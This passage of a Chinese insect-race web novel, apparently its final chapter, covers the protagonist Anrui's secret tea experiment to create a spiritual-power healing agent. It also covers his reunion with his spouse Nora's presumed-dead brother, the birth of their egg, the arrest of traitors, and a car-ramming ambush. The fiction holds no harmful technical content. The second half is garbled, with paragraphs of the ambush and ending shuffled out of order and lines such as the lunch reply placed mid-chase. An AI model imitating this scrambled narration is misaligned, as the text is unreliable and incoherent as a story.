达蒙的话安瑞心里稍微好受一点,他看向达蒙:“那我们什么时候开始实验?” “不着急,先带你们去实验基地里看看。”达蒙冲诺拉神秘地笑了笑,“做好心理准备,情绪过于激动可对虫蛋不好。” 来到后面的绿茶种植棚。 刚出实验室,安瑞就着急地问道:“诺亚上将不是战死了吗,教授,这到底是怎么回事。” “这件事,还得从七年前那场战争说起。” 达蒙随手拿了本废弃的实验报告垫在屁股下面呢,席地而坐,又递给安瑞一本。 安瑞从善如流地学着达蒙的样子坐下,忍不住催促;“您就别卖关子了。” “当时蜥蜴人就是冲着茶叶来的,那场仗我们打得很艰难,敌军好像知道基地在哪一样,疯狂地朝着那一个点进攻。好在我们也打得很顽强,最终把蜥蜴人赶了回去,抱住了茶叶。” “基地这么隐蔽,蜥蜴人怎么会知道具体位置。”安瑞下意识地问了一句,而后恍然,“有奸细!” “你猜的很准,奸细就是实验室的雌虫。”达蒙眼睛里闪过几分恨意,“也是从那个时候开始,我和陛下意识到,参与实验的雌虫必须绝对可靠。” “所以你们就想到了诺亚?” 达蒙好心地没有戳穿他,指着最近的一株茶树:“要不要试试,他们能感知到你的精神力。” 安瑞好奇地抬起手,顺着之间将一律精神力注入到茶树里,就见原本没有实体的精神力丝线居然变成了金色,顺着茶叶一路划向树干,最后在泥土中消失不见。 有点意思嘿。 安瑞惊奇地挑了挑眉,又尝试着注入了几分精神力,丝线一点没浪费,全被茶树贪婪地吸收了。 “所以要注入多少精神力啊?” 达蒙又找了本科学刊物,边扇风边说:“如果只是用茶叶做抑制剂,那这就差不多了,但要想获得能种出有治疗效果茶树的种子,要注入的精神力却得特别精准,具体要多少还在实验中。” 达蒙话音刚落,诺拉和诺亚已经一前一后走了进来。诺拉眼角还微微有些泛红,但看表情却好像是生气了。诺亚落后他半步,脸上带着几分无措和愧疚。 “雄主。”诺拉走到安瑞身边,别别扭扭地说了一句,“这……这是我雌兄诺亚。” 诺亚立刻站直,冲安瑞行了个军礼:“阁下日安,感谢阁下对我雌弟包容,也感谢阁下对艾米的照料。” “雌兄太客气了,都是我应该做的。”安瑞赶紧鞠躬还了个礼,“第一次见面,也没给您准备什么礼物,以后有机会请您去我家做客。” 诺拉低低地哼了一声:“诺亚上将要看守实验基地,哪里有时间回首都星。” 诺亚无措地正了正军帽,轻轻咳嗽一声:“抱歉。” “不只是诺亚,还有二十多名经过层层筛选的军雌。家世绝对清白,等级足够高,并且在战争精神力严重受损的军雌,三个条件缺一不可。”达蒙理了理头上的白发,“没有科研经验没关系,我可以从头教,但忠诚度,决不能有一丝一毫的马虎。” 安瑞很快就反应了过来,他皱了皱眉:“所以,诺亚上将并没有阵亡,只是精神力严重受损,就被你选中看守实验室和茶叶,为了绝对的保密,才会宣布诺亚阵亡的消息。可是……” “我知道你想说什么。”达蒙揶揄地看他一眼,“不就是觉得这对诺亚和你雌君都不公平吗,以诺亚当时精神海受损的程度,再加上他那个糟心的雄主,勉强回去了也是生不如死。没经过雄虫精神力培育的茶叶虽说不能根治他们的伤病,但至少不会让他们的情况恶化。” “我……我也没想说什么。”安瑞心虚地撇撇嘴,转移话题,“这些茶叶长得真不错。” 眼看着自家雌君和大舅哥就要吵起来,安瑞赶紧打圆场,从智脑里找出几张艾米的照片:“雌兄,这是小艾米,可乖了,成绩也很好。” 诺亚看着骑在旋转木马上笑得一脸开心得小虫崽,苍蓝色的眼睛蒙上了一层水雾,双手颤抖着拂上屏幕,又看向诺拉:“小诺尔,是……是我对不住你们。” 诺拉依旧板着脸,但一双手已经无措地绞上了衣角,他犹豫了一下,还是凑过去拉了拉诺亚的手:“兄长有难处,我也明白。” 看着两兄弟又抱在了一起,安瑞这才长舒一口气,收起智脑,为机智的自己点了个赞。 * 因为实验需要,安瑞得留在L星球,但诺拉还有半个月生产,他们商量了一下,还是决定让诺拉先回首都星。 诺拉临走的前一天晚上,安瑞又仔仔细细给他做了一遍精神力舒缓,还给他带了一包注入了精神力的茶叶。 “要是有什么不舒服的就含一片。”安瑞仔细地给诺拉披上外套,“首都星要入秋了,别贪凉,早晚记得加衣服。” 诺拉使劲点点头,一双苍蓝色的眼睛依恋地看着安瑞。 他握住自家雄主的手,在上面虔诚地落下一个吻:“雄主,您也保重。” 第八十章 正文完结 诺拉离开地第二天,安瑞就开始了没日没夜的实验,每天就是对着一堆茶叶,注入不同程度的精神力。 安瑞感觉他就像一个学艺不精的开锁师傅,用最笨的方法一点一点试,试图解开一把六位数的密码锁。 如果运气好,可能下一次就会成功 ,但如果运气不好,就又要开始下一次实验。 幸好达蒙的雄主已经完成了绝大部分实验,哪怕实验数据被毁,大方向还是有的,至少不用完全地从头开始。 安瑞轻轻吐出一口气,萦绕在心头多日的困惑终于消散了。 他很庆幸,自己似乎没有选错方向。 虽然雄虫珍贵,但治疗剂事关虫族的未来,又有陛下的支持,就算想要神不知鬼不觉弄来一批雄虫也不是不可能。 安瑞实在没法理解,为什么自从老乡去世之后,这项实验就停滞了数年。 “你是说绑架?其实我们也不是没想过。”达蒙微微一笑,坦诚道,“可惜雄虫在被动状态下很难向茶叶中注入精神力,而且雄虫数量又缺失太稀少,经不起折腾了,所以也就没那么做。除此之外,我家雄主也说过,不能为了一万只虫的利益,牺牲一只虫的生命,这不公平。” 随着试验的进行,安瑞也从最开始的兴奋变得麻木。 整套流程已经非常熟悉,他所需要做的就是碰运气。 三天前,因为预产期临近,诺拉已经住进了首都星的医院里,据产科的医生说,六个月只是平均的时间,实际每只雌虫都不一样,早点晚点都是正常的。 枯燥、烦闷逐渐将他淹没,他第一次理解了为什么他那些读博的同学都变成了酒蒙子和体育生。 在这种没有希望的实验里,实在是需要有点精神慰藉,要不然真的会崩溃。 而安瑞的精神寄托就是诺拉,他每天最盼望的时刻就是实验结束,他窝在宿舍里,和诺拉视频对话。 也就是说,从诺拉住进医院开始,每一天都有可能生产。 中午,安瑞把上午注入了精神力的茶叶一股脑端给达蒙,由他安排研究员进行检测,安瑞则抓紧时间走到休息区,一边吃饭一边给诺拉打视频。 然而,往常会秒接的雌虫这会却没有接视频申请。安瑞眉心一跳,心里有些慌,刚要拨给医院产科,屏幕上就弹出来了诺拉的语音申请。 他赶紧接通,屏幕上就出现了诺拉略显疲惫的脸,他靠在床头,抱起一个和脸差不多大的虫蛋:“雄主,虫蛋生出来了。” 安瑞盯着那个满是瑰丽花纹的虫蛋,激动得手一抖差点把智脑摔了。 那是他和诺拉的孩子,是他们的宝贝。 “诺拉,辛苦了。”安瑞心疼地看向镜头里的雌虫,“疼不疼?” “不疼,挺顺利的。”诺拉幸福地搂着虫蛋,“他很乖,我明天就出院了,到时候把艾米接回家。” 安瑞还要再说点什么,休息室的门忽然被一把推开了。 达蒙步履匆匆地走进来,一向平和的脸上却带了十分激动,连半白的眉毛都高高翘起来:“成了,成功了。” 安瑞猛地从座位上站起来,连智脑都顾不得关就走过去:“什么成了?” “种子,能直接做治疗剂的茶树种子,数据成了。”因为太过激动,达蒙说话都有些颠三倒四。 可惜这项实验太过重大,饶是诺拉的病房里没有别的虫,安瑞也不敢说得太细,只能一遍一遍地重复“我们成功了”。 诺拉也很激动,不由自主地抱紧了虫蛋。 他还记得自己雌兄被分配给德雷克之后,是怎么受到雄虫百般欺凌的。他也记得,正在德雷克的那间地下室里,有多少雌虫亚雌为了能得到精神力抚慰,像狗一样跪在地上祈求德雷克,将自己的尊严踏入尘埃。他更记得,战场上有多少军雌因为精神力受损,不得不提前退伍,终生饱受病痛的折磨。 如果治疗剂能问世,那雌虫就再也不用承受这些痛苦。 诺拉越想越激动,苍蓝色的眼睛也不由得微微发红。 他轻轻开口:“雄主,谢谢您。” 他忍不住想,雄主,还有和雄主一样从蓝星来到虫星的雄虫,应该是虫神赐给虫族的瑰宝吧。 * 有了准确的实验数据,后面的事情就容易多了。 首都星时间10月15日,第一批治疗剂问世。因为数量有限,所以每只虫限购一支。 剧烈的喜悦让安瑞大脑一片空白,等他反应过来的时候,脸上已经流下了两行清泪。 总算是成功了。 他拿起智脑,欣喜若狂:“你听见了吗,实验成功了。” 首都星时间10月16日,虫皇亲自签发逮捕令,以叛国罪、泄露国家秘密罪、偷逃税款罪逮捕乔治·格林,道格拉斯·格林等有关嫌疑虫,没收犯罪所得,并处以1.7亿星币的罚金。 首都星时间10月19日,乔治、道格拉斯等21名嫌疑虫全部缉拿归案。 彼时的安瑞已经登上了回首都星的飞船。虽然实验室还有一部分收尾工作没有完成,但安瑞已经等不及了,毕竟他的虫蛋都出生半个多月了,还没和雄父见过面呢。 安瑞坐在飞船上,看着虫网新闻里被押上被告席的乔治和道格拉斯,心中只觉得一阵畅快。 他以前只觉得这两只虫又蠢又坏,为达目的不择手段,却没想到他们底线这么低。 不管为了什么,挑起战争,阻挠医学的发展,判死罪也不为过。 经过了五天的飞行,安瑞又重新回到了那个熟悉的首都星。 刚下飞船,安瑞就看到了等在站台的诺拉,手里还牵着艾米。他几步走过去,先抱了抱小虫崽,又紧紧抱住自家雌君,在他脸上吻了一下。 “我看看,是不是瘦了。” 诺拉被他抱得有点不好意思,轻微地挣扎了一下:“没瘦,还胖了好几斤呢。” 那些育崽贴里都写了,破壳前经常和雄父接触的虫崽,长大后换上精神力疾病的概率是一般虫崽的十分之一。 他可不想让他的宝贝变成那十分之九。 艾米站在旁边嘿嘿笑:“叔父啵啵雌叔,叔父羞羞。” 安瑞松开诺拉,把小虫崽抱在怀里,敲了一下他的脑袋:“虫小鬼大,从哪里学的新词?” 小虫崽嘿嘿一笑,有点不好意思地捂住脸:“伊莱教我的。” “这么晚怎么不在家睡觉?” 小虫崽眼睛一眨一眨的:“因为想早点见到叔父。” “好乖,走了,回家了!” “叔父,我们会不会死。” “不会啊,乖乖不怕。”安瑞抱紧了小虫崽,轻声安抚。 诺拉皱着眉,目光冰冷,把油门踩到最底,一路S型走位就往工厂蹿。 安瑞和诺拉都是脸色一变,诺拉撑着椅子跳到驾驶座位上,猛地转动方向盘,做了个一百八十度大拐弯。 黄色星舰擦着边冲了过去。 安瑞也是一身冷汗,手里护着小虫崽就要报警。 亚雌睚眦欲裂,冲着安瑞就是一顿骂:“就是你这个虫渣,你害了我们格林家族,我告诉你 ,我们就算是进了地域,也不会放过你!” 安瑞神色自若,摆摆手:“报警吧。” 可不知道为什么,智脑一直显示没有信号。 就算现在还没进主城区吧,也不至于没网啊。 安瑞心中蓦地生出了几分不好的猜测,还没等他说出来,就见旁边又出现了一艘绿色星舰,直直向他们冲了回来。 诺拉刚避开绿色星舰,黄色星舰又不知道什么时候窜回来了。诺拉已经努力在躲了,但还是晚了些,被黄色星舰擦着撞了一下,幸好军部的星舰够结实,这一下没怎么样。 因为航站楼建在郊区,回家距离不算近,好在深夜路上也没什么星舰,一路还算畅行无阻。 星舰后排,艾米坐在安瑞和诺拉中间,小嘴叭叭地说着学校里的趣事,忽然,旁边蹿出来一艘黄色的星舰,好像不受控制一般冲过来。 安瑞脸色骤变。 这不是失灵,是一场有预谋的谋杀。 诺拉显然也猜到了这点,操纵着星舰左躲右闪,饶是他驾驶技术一流,但遇见黄色和绿色星舰这种不要命的开法,也有点捉襟见肘。 安瑞脑中灵光一闪,喝到:“往调料厂开。” 调料厂距离航站楼不远,最关键的是后面还有一大片宿舍,住着不少员工。 安瑞也非常配合地缩在家里,哪都不去。 等一切尘埃落定的时候,已经是来年二月了,就在昨天,新的《军雌保护法》和《雄虫保护法》问世。 眼看前面就是工厂的门,诺拉咬着牙,星舰径直撞在铁栅栏门上。 “当”地一声巨响,整个工厂都跟着晃了晃。值班的员工骂骂咧咧出来,在看到诺拉星舰的那一刻立时就变了脸色。 不到五分钟,负责运货的几个员工已经驾驶着五艘特大号运货星舰冲上了高空。他们原本都是在军队里驾驶飞船的,开个军舰就跟玩一样。 诺拉想了想:“螺蛳粉吧,多加一个炸蛋。” 五艘巨大号星舰让过诺拉的星舰,把绿黄两艘星舰团团围住。 这五艘星舰都是专门运货的,比绿黄这种私虫星舰大了不止一倍,也结识得多。他们没有硬装,只是一点点缩小包围圈,逼着两艘星舰停在工厂前的空地上。 刚停下来,上百只雌虫就冲过去把里面的虫给拎了下来。安瑞在远处眯眼一看,其中一只亚雌怎么这么眼熟啊。 他想了好一会儿,突然脱口而出:“露西?” 跟这种虫,没什么好说的。 * 虫皇对安瑞突然遇袭非常重视,不仅扩大了逮捕范围,还给安瑞家附近派了不少安保虫员。 诺拉枕在安瑞腿上,看着新法的内容,忍不住扬起嘴角,一双苍蓝色的眼睛在阳光的照射下熠熠发光。 安瑞捏了捏雌虫的鼻子:“中午吃什么?”